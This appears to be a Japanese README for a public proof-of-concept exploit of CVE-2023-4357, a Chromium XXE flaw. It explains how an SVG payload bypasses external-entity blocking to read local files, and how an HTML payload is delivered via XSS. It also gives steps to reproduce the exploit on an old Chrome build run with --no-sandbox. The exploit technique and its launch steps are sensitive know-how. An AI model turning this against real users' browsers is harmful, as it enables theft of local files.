| ファイル名 | 説明 | 利用シナリオ | なぜ単一ファイル/単一ペイロードで脆弱性を利用できるのか? |
|---|---|---|---|
| d.svg | 単一ファイル利用、他のファイルに依存しない | 1. XSSが可能な場合、iframe内にsvgリンクをネスト。 2. ボタンをクリックすると、svg画像の新しいウィンドウがポップアップ。 | 自己完結型。最初のエンティティ宣言で外部エンティティを参照するとブロックされる。そこで、自身を外部XML文書として自己包含し、その後再度エンティティ宣言で外部エンティティを参照する。その際、2回の参照の形式が互いに互換性がありエラーにならないようにすることで、ブロックを回避しローカルファイルを読み取る。 |
| xss.html | 単一ペイロード利用、他のファイルに依存しない | XSSが可能で、どのサイトにもsvgファイルをアップロードしたくない場合、xss.htmlの内容をペイロードとしてコピー。 | object要素、data:image/svg+xml;base64、data:text/xsl;base64 |
TPCTF 2023 情報セキュリティコンテストの出題アイデアのソースとして使用されました(コンテストはTP-Link、清華大学、北京大学の共同開催)。Xssbot および Xssbot but not Internet//You can send p.innerHTML by POST.に気づきました:cn-sec、xmcve、jbnrz| 情報 | 内容 |
|---|---|
| 脆弱性名 | Chromium XXE |
| 脆弱性番号 | CVE-2023-4357 |
| リスクレベル | 高 |
| 脆弱性タイプ | XXE |
| 利用難易度 | 低 |
| 訪問者環境 | スクリーンショット |
|---|---|
| Linux + Chromium | ![]() |
| Windows + Chromium | ![]() |
| MacOS + 微信Mac版 | ![]() |
Linux + Chromium
wget https://edgedl.me.gvt1.com/edgedl/chrome/chrome-for-testing/114.0.5735.90/linux64/chrome-linux64.zip
unzip chrome-linux64.zip
./chrome-linux64/chrome --no-sandbox
wget https://codeload.github.com/xcanwin/CVE-2023-4357-Chrome-XXE/zip/refs/heads/main -O CVE-2023-4357-Chrome-XXE.zip
unzip CVE-2023-4357-Chrome-XXE.zip
python3 -m http.server 8888 -d CVE-2023-4357-Chrome-XXE-main
http://127.0.0.1:8888/d.svg
Windows + Chromium
https://edgedl.me.gvt1.com/edgedl/chrome/chrome-for-testing/114.0.5735.90/win64/chrome-win64.zip
./chrome-win64/chrome --no-sandbox
https://codeload.github.com/xcanwin/CVE-2023-4357-Chrome-XXE/zip/refs/heads/main
python3 -m http.server 8888 -d CVE-2023-4357-Chrome-XXE-main
http://127.0.0.1:8888/d.svg
MacOS + 微信Mac版
微信Mac版をダウンロードして実行
Webサーバーを起動
wget https://codeload.github.com/xcanwin/CVE-2023-4357-Chrome-XXE/zip/refs/heads/main -O CVE-2023-4357-Chrome-XXE.zip
unzip CVE-2023-4357-Chrome-XXE.zip
python3 -m http.server 8888 -d CVE-2023-4357-Chrome-XXE-main
http://127.0.0.1:8888/d.svg